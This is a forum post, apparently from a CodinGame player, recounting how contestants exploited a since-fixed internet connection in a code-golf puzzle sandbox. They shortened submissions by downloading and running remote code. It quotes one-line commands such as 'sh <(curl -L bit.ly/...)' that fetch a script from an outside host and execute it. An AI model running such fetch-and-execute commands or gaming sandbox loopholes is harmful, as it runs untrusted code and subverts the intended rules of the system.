As it's "fixed" I think it's OK to talk about that 27 char solution, it was a fun after all.
(If not, please CG staff delete this post)
As you say the ring (or jail in Linux terms) in CG puzzles are pretty good, impossible to escape.
But somehow there was internet connection in the puzzle.I knew about it in the chat (a great source of information and evil).
So the puzzle changed from solving the puzzle directly to be able to download and run the code that solves the puzzle (golf-ception).
The most simplistic solution was storing the code in pastebin and then using some URL shortener. Something like
sh <(curl -L bit.ly/kekekeke). What it's inside parenthesis is run first, and the output of it it's executed by sh.
But there was room for reducing it by having a domain where you store the code. This reduces the URL size and let's you remove the -L parameter (3 chars). The -L is to follow redirections, but if you own the domain you just store at that url the code you need.
So the theorical limit I could came up was 14 char. Something like:
. <(curl x.io)
The dot and parenthesis structure is the shortest Bash command I came up for running some code and also run the result of this code.
My shortest code in it was 17char. I intentionally left it at 27 char (with unnecesary padding) because I assume the other guy was using that trick too, but as I'm not sure I don't want to take out his place, I just tie him.
And I want to say sorry to the CG staff. The surely had a boring time removing all those tricky submits on our accounts. But you know, we are curious, it was a codegolf inside another codegolf